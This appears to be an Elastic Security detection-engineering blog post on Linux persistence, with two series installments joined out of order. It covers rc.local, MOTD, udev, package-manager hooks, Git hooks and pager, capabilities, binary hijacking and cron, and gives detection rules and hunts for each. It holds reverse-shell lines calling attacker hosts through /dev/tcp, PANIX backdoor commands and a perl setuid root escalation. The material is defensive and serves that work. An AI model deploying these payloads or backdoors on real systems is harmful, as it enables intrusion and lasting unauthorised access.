Upstart was deprecated a long time ago, with Linux distributions such as Debian 7 and Ubuntu 16.04 being the final systems that leverage Upstart by default. These systems moved to the SysV init system, removing compatibility with Upstart altogether. Based on the data in our support matrix, only the Elastic Agent in Beta version supports some of these old operating systems, and the recent version of Elastic Defend does not run on them at all. These systems have been EOL for years and should not be used in production environments anymore.

Because of this reason, we added support/coverage for this technique to the Potential Persistence via File Modification detection rule. If you are still running these systems in production, using, for example, old versions of Auditbeat to gather its logs, you can set up Auditbeat file creation and FIM file modification rules in the /etc/init/ directory, similar to the techniques mentioned in the previous blog, and in the sections yet to come. Similarly to System V Init, information and real-world examples related to this technique are specified by MITRE in T1037.

T1037.004 - boot or logon initialization scripts: run control (RC) scripts

The rc.local script is a traditional method for executing commands or scripts on Unix-like operating systems during system boot. It is located at /etc/rc.local and is typically used to start services, configure networking, or perform other system initialization tasks that do not warrant a full init script. In Darwin-based systems and very few other Unix-like systems, /etc/rc.common is used for the same purpose.

Newer versions of Linux distributions have phased out the /etc/rc.local file in favor of Systemd for handling initialization scripts. Systemd provides compatibility through the systemd-rc-local-generator generator; this executable ensures backward compatibility by checking if /etc/rc.local exists and is executable. If it meets these criteria, it integrates the rc-local.service unit into the boot process. Therefore, as long as this generator is included in the Systemd setup, /etc/rc.local scripts will execute during system boot. In RHEL derivatives, /etc/rc.d/rc.local must be granted execution permissions for this technique to work.

The rc.local script is a shell script that contains commands or scripts to be executed once at the end of the system boot process, after all other system services have been started. This makes it useful for tasks that require specific system conditions to be met before execution. Here’s an example of how a simple backdoored rc.local script might look:

#!/bin/sh
/bin/bash -c 'sh -i >& /dev/tcp/$ip/$port 0>&1'
exit 0

The command above creates a reverse shell by opening a bash session that redirects input and output to a specified IP address and port, allowing remote access to the system.

To ensure rc.local runs during boot, the script must be marked executable. On the next boot, the systemd-rc-local-generator will create the necessary symlink in order to enable the rc-local.service and execute the rc.local script. RC scripts did receive their own sub-technique by MITRE. More information and examples of real-world usage of RC Scripts for persistence can be found in T1037.004.

Persistence through T1037.004 - run control (RC) scripts

As long as the systemd-rc-local-generator is present, establishing persistence through this technique is simple. Create the /etc/rc.local file, add your payload, and mark it as executable. We will leverage the following PANIX command to establish it for us.

> sudo ./panix.sh --rc-local --default --ip 192.168.1.1 --port 2007
> [+] rc.local backdoor established 

After rebooting the system, we can see the following events being generated:

The same issue as before arises. We see the execution of PANIX, creating the /etc/rc.local file and granting it execution permissions. When running systemctl daemon-reload, we can see the systemd-rc-local-generator creating a symlink in the /run/systemd/generator[.early|late] directories.

Similar to the previous example in which we ran into this issue, we can again use the already_running event.action documents to get some information on the executions. Digging into this, one method that detects potential traces of rc.local execution is to search for documents containing /etc/rc.local start entries:

Where we see /etc/rc.local being started, after which a suspicious command is executed. The /opt/bds_elf is a rootkit, leveraging rc.local as a persistence method.

Additionally, we can leverage the syslog data source, as this file is parsed on initialization of the system integration. You can set up Filebeat or the Elastic Agent with the System integration to harvest syslog. When looking at potential errors in its execution logs, we can detect other traces of rc.local execution events for both our testing and rootkit executions:

Because of the challenges in detecting these persistence mechanisms, it is very important to catch traces as early in the chain as possible. Leveraging a multi-layered defense strategy increases the chances of detecting techniques like these.

Hunting for T1037.004 - run control (RC) scripts

Similar to the System V Init detection opportunity limitations, this technique deals with the same limitations due to timing. Thus, hunting for RC Script persistence is important. We can hunt for this technique by looking at /etc/rc.local file creations and/or modifications and the existence of the rc-local.service systemd unit/startup item. The Persistence via rc.local/rc.common rule contains several ES|QL and OSQuery queries that aid in hunting for this technique.

T1037 - boot or logon initialization scripts: Message of the Day (MOTD)

Message of the Day (MOTD) is a feature that displays a message to users when they log in via SSH or a local terminal. To display messages before and after the login process, Linux uses the /etc/issue and the /etc/motd files. These messages display on the command line and will not be seen before and after a graphical login. The /etc/issue file is typically used to display a login message or banner, while the /etc/motd file generally displays issues, security policies, or messages. These messages are global and will display to all users at the command line prompt. Only a privileged user (such as root) can edit these files.

In addition to the static /etc/motd file, modern systems often use dynamic MOTD scripts stored in /etc/update-motd.d/. These scripts generate dynamic content that can be included in the MOTD, such as current system metrics, weather updates, or news headlines.

These dynamic scripts are shell scripts that execute shell commands. It is possible to create a new file within this directory or to add a backdoor to an existing one. Once the script has been granted execution permissions, it will execute every time a user logs in.

RHEL derivatives do not make use of dynamic MOTD scripts in a similar way as Debian does, and are not susceptible to this technique.

An example of a backdoored /etc/update-motd.d/ file could look like this:

#!/bin/sh
nohup setsid bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'

Like before, MITRE does not have a specific technique related to this. Therefore we classify this technique as T1037.

Persistence through T1037 - message of the day (MOTD)

A payload similar to the one presented above should be used to ensure the backdoor does not interrupt the SSH login, potentially triggering the user’s attention. We can leverage PANIX to set up persistence on Debian-based systems through MOTD like so:

 > sudo ./panix.sh --motd --default --ip 192.168.1.1 --port 2008
> [+] MOTD backdoor established in /etc/update-motd.d/137-python-upgrades

To trigger the backdoor, we can reconnect to the server via SSH or reconnect to the terminal.

In the image above we can see PANIX being executed, which creates the /etc/update-motd.d/137-python-upgrades file and marks it as executable. Next, when a user connects to SSH/console, the payload is executed, resulting in an egress network connection by the root user. This is a straightforward attack chain, and we have several layers of detections for this:

Hunting for T1037 - message of the day (MOTD)

Hunting for MOTD persistence can be conducted through ES|QL and OSQuery. We can do so by analyzing file creations in these directories and executions from MOTD parent processes. We created the Persistence via Message-of-the-Day rule aid in this endeavor.

T1546 - event triggered execution: udev

Udev is the device manager for the Linux kernel, responsible for managing device nodes in the /dev directory. It dynamically creates or removes device nodes, manages permissions, and handles various events triggered by device state changes. Essentially, Udev acts as an intermediary between the kernel and user space, ensuring that the operating system appropriately handles hardware changes.

When a new device is added to the system (such as a USB drive, keyboard, or network interface), Udev detects this event and applies predefined rules to manage the device. Each rule consists of key-value pairs that match device attributes and actions to be performed. Udev rules files are processed in lexical order, and rules can match various device attributes, including device type, kernel name, and more. Udev rules are defined in text files within a default set of directories:

• /etc/udev/rules.d/
• /run/udev/rules.d/
• /usr/lib/udev/rules.d/
• /usr/local/lib/udev/rules.d/
• /lib/udev/

Priority is measured based on the source directory of the rule file and takes precedence based on the order listed above (/etc/ → /run/ → /usr/). When a rule matches, it can trigger a wide range of actions, including executing arbitrary commands or scripts. This flexibility makes Udev a potential vector for persistence by malicious actors. An example Udev rule looks like the following:

SUBSYSTEM=="block", ACTION=="add|change", ENV{DM_NAME}=="ubuntu--vg-ubuntu--lv", SYMLINK+="disk/by-dname/ubuntu--vg-ubuntu--lv"

To leverage this method for persistence, root privileges are required. Once a rule file is created, the rules need to be reloaded.

sudo udevadm control --reload-rules

To test the rule, either perform the action specified in the rule file or use the udevadm trigger utility.

sudo udevadm trigger -v

Additionally, these drivers can be monitored using udevadm, by running:

udevadm monitor --environment

Eder’s blog titled “Leveraging Linux udev for persistence” is a very good read for more information on this topic. This technique has several limitations, making it more difficult to leverage the persistence mechanism.

• Udev rules are limited to short foreground tasks due to potential blocking of subsequent events.
• They cannot execute programs accessing networks or filesystems, enforced by systemd-udevd.service's sandbox.
• Long-running processes are terminated after event handling.

Despite these restrictions, bypasses include creating detached processes outside udev rules for executing implants, such as:

• Leveraging at/cron/systemd for independent scheduling.
• Injecting code into existing processes.

Although persistence would be set up through a different technique than udev, udev would still grant a persistence mechanism for the at/cron/systemd persistence mechanism. MITRE does not have a technique dedicated to this mechanism — the most logical technique to add this to would be T1546.

Researchers from AON recently discovered a malware called "sedexp" that achieves persistence using Udev rules - a technique rarely seen in the wild - so be sure to check out their research article.

Persistence through T1546 - udev

PANIX allows you to test all three techniques by leveraging --at, --cron and --systemd, respectively. Or go ahead and test it manually. We can set up udev persistence through at, by running the following command:

> sudo ./panix.sh --udev --default --ip 192.168.1.1 --port 2009 --at

To trigger the payload, you can either run sudo udevadm trigger or reboot the system. Let’s analyze the events in Discover.

In the figure above, PANIX is executed, which creates the /usr/bin/atest backdoor and grants it execution permissions. Subsequently, the 10-atest.rules file is generated, and the drivers are reloaded and triggered. This causes At to be spawned as a child process of udevadm, creating the atspool/atjob, and subsequently executing the reverse shell.

Cron follows a similar structure; however, it is slightly more difficult to catch the malicious activity, as the child process of udevadm is bash, which is not unusual.

Finally, when looking at the documents generated by Udev in combination with Systemd, we see the following:

Which also does not show a relationship with udev, other than the 12-systemdtest.rules file that is created.

This leads these last two mechanisms to be detected through our previous systemd/cron related rules, rather than specific udev rules. Let’s take a look at the coverage (We omitted the systemd/cron rules, as these were already mentioned in the previous persistence blog):

Hunting for T1546 - udev

Hunting for Udev persistence can be conducted through ES|QL and OSQuery. By leveraging ES|QL, we can detect unusual file creations and process executions, and through OSQuery we can do live hunting on our managed systems. To get you started, we created the Persistence via Udev rule, containing several different queries.

T1546.016 - event triggered execution: installer packages

Package managers are tools responsible for installing, updating, and managing software packages. Three widely used package managers are APT (Advanced Package Tool), YUM (Yellowdog Updater, Modified), and YUM’s successor, DNF (Danified YUM). Beyond their legitimate uses, these tools can be leveraged by attackers to establish persistence on a system by hijacking the package manager execution flow, ensuring malicious code is executed during routine package management operations. MITRE details information related to this technique under the identifier T1546.016.

T1546.016 - installer packages (APT)

APT is the default package manager for Debian-based Linux distributions like Debian, Ubuntu, and their derivatives. It simplifies the process of managing software packages and dependencies. APT utilizes several configuration mechanisms to customize its behavior and enhance package management efficiency.

APT hooks allow users to execute scripts or commands at specific points during package installation, removal, or upgrade operations. These hooks are stored in /etc/apt/apt.conf.d/ and can be leveraged to execute actions pre- and post-installation. The structure of APT configuration files follows a numeric ordering convention to control the application of configuration snippets that customize various aspects of APT's behavior. A regular APT hook looks like this:

DPkg::Post-Invoke {"if [ -d /var/lib/update-notifier ]; then touch /var/lib/update-notifier/dpkg-run-stamp; fi; /usr/lib/update-notifier/update-motd-updates-available 2>/dev/null || true";};                                                                            APT::Update::Post-Invoke-Success {"/usr/lib/update-notifier/update-motd-updates-available 2>/dev/null || true";}; 

These configuration files can be exploited by attackers to execute malicious binaries or code whenever an APT operation is executed. This vulnerability extends to automated processes like auto-updates, enabling persistent execution on systems with automatic update features enabled.

Persistence through T1546.016 - installer packages (APT)

To test this method, a Debian-based system that leverages APT or the manual installation of APT is required. Make sure that if you perform this step manually, that you do not break the APT package manager, as a carefully crafted payload that detaches and runs in the background is necessary to not interrupt the execution chain. You can setup APT persistence by running:

> sudo ./panix.sh --package-manager --ip 192.168.1.1 --port 2012 --apt
> [+] APT persistence established

To trigger the payload, run an APT command, such as sudo apt update. This will spawn a reverse shell. Let’s take a look at the events in Discover:

In the figure above, we see PANIX being executed, creating the 01python-upgrades file, and successfully establishing the APT hook. After running sudo apt update, APT reads the configuration file and executes the payload, initiating the sh → nohup → setsid → bash reverse shell chain. Our coverage is multi-layered, and detects the following events:

T1546.016 - installer packages (YUM)

YUM (Yellowdog Updater, Modified) is the default package management system used in Red Hat-based Linux distributions like CentOS and Fedora. YUM employs plugin architecture to extend its functionality, allowing users to integrate custom scripts or programs that execute at various stages of the package management lifecycle. These plugins are stored in specific directories and can perform actions such as logging, security checks, or custom package handling.

The structure of YUM plugins typically involves placing them in directories like:

• /etc/yum/pluginconf.d/ (for configuration files)
• /usr/lib/yum-plugins/ (for plugin scripts)

For plugins to be enabled, the /etc/yum.conf file must have the plugins=1 set. These plugins can intercept YUM operations, modify package installation behaviors, or execute additional actions before or after package transactions. YUM plugins are quite extensive, but a basic YUM plugin template might look like this:

from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE

requires_api_version = '2.3'
plugin_type = (TYPE_CORE, TYPE_INTERACTIVE)

def init_hook(conduit):
    conduit.info(2, 'Hello world')

def postreposetup_hook(conduit):
    raise PluginYumExit('Goodbye')

Each plugin must be enabled through a .conf configuration file:

[main]                                                                                                                               enabled=1

Similar to APT's configuration files, YUM plugins can be leveraged by attackers to execute malicious code during routine package management operations, particularly during automated processes like system updates, thereby establishing persistence on vulnerable systems.

Persistence through T1546.016 - Installer Packages (YUM)

Similar to APT, YUM plugins should be crafted carefully to not interfere with the YUM update execution flow. Use this example or set it up by running:

> sudo ./panix.sh --package-manager --ip 192.168.1.1 --port 2012 --yum
[+] Yum persistence established

After planting the persistence mechanism, a command similar to sudo yum upgrade can be run to establish a reverse connection.

We see PANIX being executed, /usr/lib/yumcon, /usr/lib/yum-plugins/yumcon.py and /etc/yum/pluginconf.d/yumcon.conf being created. /usr/lib/yumcon is executed by yumcon.py, which is enabled in yumcon.conf. After updating the system, the reverse shell execution chain (yum → sh → setsid → yumcon → python) is executed. Similar to APT, our YUM coverage is multi-layered, and detects the following events:

T1546.016 - installer packages (DNF)

DNF (Dandified YUM) is the next-generation package manager used in modern Red Hat-based Linux distributions, including Fedora and CentOS. It replaces YUM while maintaining compatibility with YUM repositories and packages. Similar to YUM, DNF utilizes a plugin system to extend its functionality, enabling users to integrate custom scripts or programs that execute at key points in the package management lifecycle.

DNF plugins enhance its capabilities by allowing customization and automation beyond standard package management tasks. These plugins are stored in specific directories:

• /etc/dnf/pluginconf.d/ (for configuration files)
• /usr/lib/python3.9/site-packages/dnf-plugins/ (for plugin scripts)

Of course the location for the dnf-plugins are bound to the Python version that is running on your system. Similarly to YUM, to enable a plugin, plugins=1 must be set in /etc/dnf/dnf.conf. An example of a DNF plugin can look like this:

import dbus
import dnf
from dnfpluginscore import _

class NotifyPackagekit(dnf.Plugin):
	name = "notify-packagekit"

	def __init__(self, base, cli):
		super(NotifyPackagekit, self).__init__(base, cli)
		self.base = base
		self.cli = cli
	def transaction(self):
		try:
			bus = dbus.SystemBus()
			proxy = bus.get_object('org.freedesktop.PackageKit', '/org/freedesktop/PackageKit')
			iface = dbus.Interface(proxy, dbus_interface='org.freedesktop.PackageKit')
			iface.StateHasChanged('posttrans')
		except:
			pass 

As for YUM, each plugin must be enabled through a .conf configuration file:

[main]                                                                                                                               enabled=1

Similar to YUM's plugins and APT's configuration files, DNF plugins can be exploited by malicious actors to inject and execute unauthorized code during routine package management tasks. This attack vector extends to automated processes such as system updates, enabling persistent execution on systems with DNF-enabled repositories.

Persistence through T1546.016 - installer packages (DNF)

Similar to APT and YUM, DNF plugins should be crafted carefully to not interfere with the DNF update execution flow. You can use the following example or set it up by running:

> sudo ./panix.sh --package-manager --ip 192.168.1.1 --port 2013 --dnf
> [+] DNF persistence established

Running a command similar to sudo dnf update will trigger the backdoor. Take a look at the events:

After the execution of PANIX, /usr/lib/python3.9/site-packages/dnfcon, /etc/dnf/plugins/dnfcon.conf and /usr/lib/python3.9/site-packages/dnf-plugins/dnfcon.py are created, and the backdoor is established. These locations are dynamic, based on the Python version in use. After triggering it through the sudo dnf update command, the dnf → sh → setsid → dnfcon → python reverse shell chain is initiated. Similar to before, our DNF coverage is multi-layered, and detects the following events:

Hunting for persistence through T1546.016 - installer packages

Hunting for Package Manager persistence can be conducted through ES|QL and OSQuery. Indicators of compromise may include configuration and plugin file creations/modifications and unusual executions of APT/YUM/DNF parents. The Persistence via Package Manager rule contains several ES|QL/OSQuery queries that you can use to detect these abnormalities.

T1546 - event triggered execution: Git

Git is a distributed version control system widely used for managing source code and coordinating collaborative software development. It tracks changes to files and enables efficient team collaboration across different locations. This makes Git a system that is present in a lot of organizations across both workstations and servers. Two functionalities that can be (ab)used for arbitrary code execution are Git hooks and Git pager. MITRE has no specific technique attributed to these persistence mechanisms, but they would best fit T1546.

T1546 - event triggered execution: Git hooks

Git hooks are scripts that Git executes before or after specific events such as commits, merges, and pushes. These hooks are stored in the .git/hooks/ directory within each Git repository. They provide a mechanism for customizing and automating actions during the Git workflow. Common Git hooks include pre-commit, post-commit, pre-merge, and post-merge.

An example of a Git hook would be the file .git/hooks/pre-commit, with the following contents:

#!/bin/sh
# Check if this is the initial commit
if git rev-parse --verify HEAD >/dev/null 2>&1
then
    echo "pre-commit: About to create a new commit..."
    against=HEAD
else
    echo "pre-commit: About to create the first commit..."
    against=4b825dc642cb6eb9a060e54bf8d69288fbee4904
fi

As these scripts are executed on specific actions, and the contents of the scripts can be changed in whatever way the user wants, this method can be abused for persistence. Additionally, this method does not require root privileges, making it a convenient persistence technique for instances where root privileges are not yet obtained. These scripts can also be added to Github repositories prior to cloning, turning them into initial access vectors as well.

T1546 - event triggered execution: git pager

A pager is a program used to view content one screen at a time. It allows users to scroll through text files or command output without the text scrolling off the screen. Common pagers include less, more, and pg. A Git pager is a specific use of a pager program to display the output of Git commands. Git allows users to configure a pager to control the display of commands such as git log.

Git determines which pager to use through the following order of configuration:

• /etc/gitconfig (system-wide)
• ~/.gitconfig or ~/.config/git/config (user-specific)
• .git/config (repository specific)

A typical configuration where a pager is specified might look like this:

[core]
    pager = less

In this example, Git is configured to use less as the pager. When a user runs a command like git log, Git will pipe the output through less for easier viewing. The flexibility in specifying a pager can be exploited. For example, an attacker can set the pager to a command that executes arbitrary code. This can be done by modifying the core.pager configuration to include malicious commands. Let’s take a look at the two techniques discussed in this section.

Persistence through T1546 - Git

To test these techniques, the system requires a cloned Git repository. There is no point in setting up a custom repository, as the persistence mechanism depends on user actions, making a hidden and unused Git repository an illogical construct. You could initialize your own hidden repository and chain it together with a cron/systemd/udev persistence mechanism to initialize the repository on set intervals, but that is out of scope for now.

To test the Git Hook technique, ensure a Git repository is available on the system, and run:

> ./panix.sh --git --default --ip 192.168.1.1 --port 2014 --hook

> [+] Created malicious pre-commit hook in /home/ruben/panix

The program loops through the entire filesystem (as far as this is possible, based on permissions), finds all of the repositories, and backdoors them. To trigger the backdoor, run git add -A and git commit -m "backdoored!". This will generate the following events:

In this figure we see PANIX looking for Git repositories, adding a pre-commit hook and granting it execution permissions, successfully planting the backdoor. Next, the backdoor is initiated through the git commit, and the git → pre-commit → nohup → setsid → bash reverse shell connection is initiated.

To test the Git pager technique, ensure a Git repository is available on the system and run:

> ./panix.sh --git --default --ip 192.168.1.1 --port 2015 --pager
> [+] Updated existing Git config with malicious pager in /home/ruben/panix
> [+] Updated existing global Git config with malicious pager 

To trigger the payload, move into the backdoored repository and run a command such as git log. This will trigger the following events:

PANIX executes and starts searching for Git repositories. Once found, the configuration files are updated or created, and the backdoor is planted. Invoking the Git Pager (less) executes the backdoor, setting up the git → sh → nohup → setsid → bash reverse connection chain.

We have several layers of detection, covering the Git Hook/Pager persistence techniques.

Hunting for persistence through T1546 - Git

Hunting for Git Hook/Pager persistence can be conducted through ES|QL and OSQuery. Potential indicators include file creations in the .git/hook/ directories, Git Hook executions, and the modification/creation of Git configuration files. The Git Hook/Pager Persistence hunting rule has several ES|QL and OSQuery queries that will aid in detecting this technique.

T1548 - abuse elevation control mechanism: process capabilities

Process capabilities are a fine-grained access control mechanism that allows the division of the root user's privileges into distinct units. These capabilities can be independently enabled or disabled for processes, and are used to enhance security by limiting the privileges of processes. Instead of granting a process full root privileges, only the necessary capabilities are assigned, reducing the risk of exploitation. This approach follows the principle of least privilege.

To better understand them, some use cases for process capabilities are e.g. assigning CAP_NET_BIND_SERVICE to a web server that needs to bind to port 80, assigning CAP_NET_RAW to tools that need access to network interfaces or assigning CAP_DAC_OVERRIDE to backup software requiring access to all files. By leveraging these capabilities, processes are capable of performing tasks that are usually only possible with root access.

While process capabilities were developed to enhance security, once root privileges are acquired, attackers can abuse them to maintain persistence on a compromised system. By setting specific capabilities on binaries or scripts, attackers can ensure their malicious processes can operate with elevated privileges and allow for an easy way back to root access in case of losing it. Additionally, misconfigurations may allow attackers to escalate privileges.

Some process capabilities can be (ab)used to establish persistence, escalate privileges, access sensitive data, or conduct other tasks. Process capabilities that can do this include, but are not limited to:

• CAP_SYS_MODULE (allows loading/unloading of kernel modules)
• CAP_SYS_PTRACE (enables tracing and manipulation of other processes)
• CAP_DAC_OVERRIDE (bypasses read/write/execute checks)
• CAP_DAC_READ_SEARCH (grants read access to any file on the system)
• CAP_SETUID/CAP_SETGID (manipulate UID/GID)
• CAP_SYS_ADMIN (to be honest, this just means root access)

A simple way of establishing persistence is to grant the process CAP_SETUID or CAP_SETGID capabilities (this is similar to setting the SUID/SGID bit to a process, which we discussed in the previous persistence blog). But all of the ones above can be used, be a bit creative here! MITRE does not have a technique dedicated to process capabilities. Similar to Setuid/Setgid, this technique can be leveraged for both privilege escalation and persistence. The most logical technique to add this mechanism to (based on the existing structure of the MITRE ATT&CK framework) would be T1548.

Persistence through T1548 - process capabilities

Let’s leverage PANIX to set up a process with CAP_SETUID process capabilities by running:

> sudo ./panix.sh --cap --default
[+] Capability setuid granted to /usr/bin/perl
[-] ruby, is not present on the system.
[-] php is not present on the system.
[-] python is not present on the system.
[-] python3, is not present on the system.
[-] node is not present on the system. 

PANIX will by-default check for a list of processes that are easily exploitable after granting CAP_SETUID capabilities. You can use --custom and specify --capability and --binary to test some of your own.

If your system has Perl, you can take a look at GTFOBins to find how to escalate privileges with this capability set.

/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# whoami
root

Looking at the logs in Discover, we can see the following happening:

We can see PANIX being executed with uid=0 (root), which grants cap_setuid+ep (effective and permitted) to /usr/bin/perl. Effective indicates that the capability is currently active for the process, while permitted indicates that the capability is allowed to be used by the process. Note that all events with uid=0 have all effective/permitted capabilities set. After granting this capability and dropping down to user permissions, perl is executed and manipulates its own process UID to obtain root access. Feel free to try out different binaries/permissions.

As we have quite an extensive list of rules related to process capabilities (for discovery, persistence and privilege escalation activity), we will not list all of them here. Instead, you can take a look at this blog post, digging deeper into this topic.

Hunting for persistence through T1548 - process capabilities

Hunting for process capability persistence can be done through ES|QL. We can either do a general hunt and find non uid 0 binaries with capabilities set, or hunt for specific potentially dangerous capabilities. To do so, we created the Process Capability Hunting rule.

T1554 - compromise host software binary: hijacking system binaries

After gaining access to a system and, if necessary, escalating privileges to root access, system binary hijacking/wrapping is another option to establish persistence. This method relies on the trust and frequent execution of system binaries by a user.

System binaries, located in directories like /bin, /sbin, /usr/bin, and /usr/sbin are commonly used by users/administrators to perform basic tasks. Attackers can hijack these system binaries by replacing or backdooring them with malicious counterparts. System binaries that are used often such as cat, ls, cp, mv, less or sudo are perfect candidates, as this mechanism relies on the user executing the binary.

There are multiple ways to establish persistence through this method. The attacker may manipulate the system’s $PATH environment variable to prioritize a malicious binary over the regular system binary. Another method would be to replace the real system binary, executing arbitrary malicious code on launch, after which the regular command is executed.

Attackers can be creative in leveraging this technique, as any code can be executed. For example, the system-wide sudo/su binaries can be backdoored to capture a password every time a user attempts to run a command with sudo. Another method can be to establish a reverse connection every time a binary is executed or a backdoor binary is called on each binary execution. As long as the attacker hides well and no errors are presented to the user, this technique is difficult to detect. MITRE does not have a direct reference to this technique, but it probably fits T1554 best.

Let’s take a look at what hijacking system binaries might look like.

Persistence through T1554 - hijacking system binaries

The implementation of system binary hijacking in PANIX leverages the wrapping of a system binary to establish a reverse connection to a specified IP. You can reference this example or set it up by executing:

> sudo ./panix.sh --system-binary --default --ip 192.168.1.1 --port 2016
> [+] cat backdoored successfully.
> [+] ls backdoored successfully.

Now, execute ls or cat to establish persistence. Let’s analyze the logs.

In the figure above we see PANIX executing, moving /usr/bin/ls to /usr/bin/ls.original. It then backdoors /usr/bin/ls to execute arbitrary code, after which it calls /usr/bin/ls.original in order to trick the user. Afterwards, we see bash setting up the reverse connection. The copying/renaming of system binaries and the hijacking of the sudo binary are captured in the following detection rules.

Hunting for persistence through T1554 - hijacking system binaries

This activity should be very uncommon, and therefore the detection rules above can be leveraged for hunting. Another way of hunting for this activity could be assembling a list of uncommon binaries to spawn child processes. To aid in this process we created the Unusual System Binary Parent (Potential System Binary Hijacking Attempt) hunting rule.

Conclusion

In this part of our “Linux Detection Engineering” series, we explored more advanced Linux persistence techniques and detection strategies, including init systems, run control scripts, message of the day, udev (rules), package managers, Git, process capabilities, and system binary hijacking. If you missed the previous part on persistence, catch up here.

We did not only explain each technique but also demonstrated how to implement them using PANIX. This hands-on approach allowed you to assess detection capabilities in your own security setup. Our discussion included detection and endpoint rule coverage and referenced effective hunting strategies, from ES|QL aggregation queries to live OSQuery hunts.

We hope you've found this format informative. Stay tuned for more insights into Linux detection engineering. Happy hunting!

In this second part of the Linux Detection Engineering series, we'll examine Linux persistence mechanisms in detail, starting with common or straightforward methods and moving toward more complex or obscure techniques. The goal is to educate defenders and security researchers on the foundational aspects of Linux persistence techniques by examining both trivial and more complicated methods, understanding how these methods work, how to hunt for them, and how to develop effective detection strategies.

For those who missed the first part, "Linux Detection Engineering with Auditd", it can be found here.

For this installment, we'll set up the persistence mechanisms, analyze the logs, and observe the potential detection opportunities. To aid in this process, we’re sharing PANIX, a Linux persistence tool developed by Ruben Groenewoud of Elastic Security. PANIX simplifies and customizes persistence setup to test your detections.

By the end of this article, you'll have a solid understanding of each persistence mechanism we describe, including:

• How it works (theory)
• How to set it up (practice)
• How to detect it (SIEM and Endpoint rules)
• How to hunt for it (ES|QL and OSQuery hunts)

Step into the world of Linux persistence with us, it’s fun!

What is persistence?

Let’s start with the basics. Persistence refers to an attacker's ability to maintain a foothold in a compromised system or network even after reboots, password changes, or other attempts to remove them.

Persistence is crucial for attackers, ensuring extended access to the target environment. This enables them to gather intelligence, understand the environment, move laterally through the network, and work towards achieving their objectives.

Given that most malware attempts to establish some form of persistence automatically, this phase is critical for defenders to understand. Ideally, attacks should be detected and prevented during initial access, but this is not always possible. Many malware samples also leverage multiple persistence techniques to ensure continued access. Notably, these persistence mechanisms can often be detected with robust defenses in place.

Even if an attack is detected, the initial access vector is patched and mitigated, but any leftover persistence mechanism can allow the attackers to regain access and resume their operations. Therefore, it's essential to monitor the establishment of some persistence mechanisms close to real time and hunt others regularly.

To support this effort, Elastic utilizes the MITRE ATT&CK framework as the primary lexicon for categorizing techniques in most of our detection artifacts. MITRE ATT&CK is a globally accessible knowledge base of adversary tactics and techniques based on real-world observations. It is commonly used as a foundation for developing specific threat models and methodologies within the field of cybersecurity. By leveraging this comprehensive framework, we enhance our ability to detect, understand, and mitigate persistent threats effectively.

Setup

To ensure you are prepared to detect the persistence mechanisms discussed in this article, enabling and updating our pre-built detection rules is important. If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and fill in any gaps.

To install, enable, and update our pre-built rules, follow these steps:

1. Navigate to Kibana → Security → Rules → Detection rules (SIEM).
2. You will find your installed and potential new and/or updated pre-built rules here.
3. Use the "Add Elastic rules" button to add the latest Elastic pre-built rules.
4. Use the "Rule Updates" tab to update existing rules.

Now, we are ready to get started.

T1053 - scheduled task/job

Automating routine tasks is common in Unix-like operating systems for system maintenance. Some common utilities used for task scheduling are cron and at. MITRE details information related to this technique under the identifier T1053.

T1053.003 - scheduled task/job: Cron

Cron is a utility for scheduling recurring tasks to run at specific times or intervals. It is available by default on most Linux distributions. It is a daemon (that is, a background process that typically performs tasks without requiring user interaction) that reads cron files from a default set of locations. These files contain commands to run periodically and/or at a scheduled time.

The scheduled task is called a cron job and can be executed with both user and root permissions, depending on the configuration. Due to its versatility, cron is an easy and stable candidate for Linux persistence, even without escalating to root privileges upon initial access.

There are user-specific and system-wide cron jobs. The user-specific cron jobs commonly reside in:

• /var/spool/cron/
• /var/spool/cron/crontabs/

The system-wide cron jobs are located in the following:

• /etc/crontab
• /etc/cron.d/
• /etc/cron.daily/
• /etc/cron.hourly/
• /etc/cron.monthly/
• /etc/cron.weekly/

The cron file syntax slightly differs based on the location in which the cron file is created. For the cron files in the /etc/ directory, the user who will execute the job must be specified.

* * * * * root /bin/bash -c '/srv/backup_tool.sh'

Conversely, the user who created the cron files in the /var/spool/cron/crontabs/ directory will execute the cron files.

* * * * * /bin/bash -c '/srv/backup_tool.sh'

The asterisks are used to create the schedule. They represent (in order) minutes, hours, days (of the month), months, and days (of the week). Setting “* * * * *” means the cron job is executed every minute while setting “* * 1 12 *” means the cron job is executed every minute on the first day of December. Information on cron scheduling is available at Crontab Guru.

Attackers can exploit these jobs to run scripts or binaries that establish reverse connections or add reverse shell commands.

* * * * * root /bin/bash -c 'sh -i >& /dev/tcp/192.168.1.1/1337 0>&1'

MITRE specifies more information and real-world examples related to this technique in T1053.003.

Persistence through T1053.003 - cron

You can manually create a system-wide cron file in any of the /etc/ directories or use the crontab -e command to create a user-specific cron file. To more easily illustrate all of the persistence mechanisms presented in these articles, we will use PANIX. Depending on the privileges when running it, you can establish persistence like so:

sudo ./panix.sh --cron --default --ip 192.168.1.1 --port 2001
[+] Cron job persistence established.

The default setting for the root user will create a cron file at /etc/cron.d/freedesktop_timesync1 that calls out to the attacker system every minute. When looking at the events, we can see the following:

When PANIX was executed, the cron job was created, /usr/sbin/cron read the contents of the cron file and executed it, after which a network connection was established. Analyzing this chain of events, we can identify several detection capabilities for this and other proof-of-concepts.

Elastic SIEM includes over 1,000 prebuilt rules and more than 200 specifically dedicated to Linux. These rules run on the Elastic cluster and are designed to detect threat techniques that are available in our public detection rules repository. Our prevention capabilities include behavioral endpoint rules and memory/file signatures, which are utilized by Elastic Defend and can be found in our public protection artifacts repository.

The file category has three different rules, the first two focusing on creation/modification using Elastic Defend, while the third focuses on modification through File Integrity Monitoring (FIM). FIM can be set up using Auditbeat or via the Fleet integration. To correctly set up FIM, it is important to specify full paths to the files that FIM should monitor, as it does not allow for wildcards. Therefore, Potential Persistence via File Modification is a rule that requires manual setup and tailoring to your specific needs, as it will require individual entries depending on the persistence technique you are trying to detect.

T1053.002 - scheduled task/job: at

At is a utility for scheduling one-time tasks to run at a specified time in the future on Linux systems. Unlike cron, which handles recurring tasks, At is designed for single executions. The At daemon (atd) manages and executes these scheduled tasks at the specified time.

